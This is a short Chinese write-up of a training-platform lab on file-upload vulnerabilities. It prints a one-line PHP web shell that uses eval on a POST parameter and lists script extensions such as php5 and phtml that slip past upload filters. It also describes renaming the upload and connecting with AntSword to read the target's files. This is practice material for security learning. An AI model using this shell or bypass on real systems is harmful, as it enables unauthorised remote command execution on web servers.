WEB安全-文件上传-WebShell文件上传漏洞分析溯源(第1题)
前言
这是文件上传的第一篇，SQL注入那边暂时先放一下，最近刚好看到了文件上传部分的知识，趁热打铁练练手，链接如下：https://www.mozhe.cn/bug/detail/UjV1cnhrbUxVdmw5VitBdmRyemNDZz09bW96aGUmozhe
正文
首先明确实训目标
一句话木马
<?php
phpinfo();
@eval($_POST['cmd']);
?>
后缀绕过：以下后缀网站都会当成php去执行
php
php3
php5
phtml
asp
asa
cdx
cer
aspx
ashx
shtml
从1和2的目标可以发现，是通过后缀名进行绕过的，所以先抓包，修改修改文件后缀为php5，可以看到上传成功
不通过Repeater重放，直接查看页面效果如下
然后输入文件保存地址的url，如下效果
用蚁剑连接，密码cmd，发现可行，翻看文件夹，找到key
总结
文件上传部分没有太多的需要理解的东西，就是类型多，有的时候即使你知道有这些类型，但是在黑盒测试的情况下，也不知道到底是哪一个，所以形成一个具体的判断流程，对使用哪种方法有清晰的认识，从而才能判断出正确的上传方法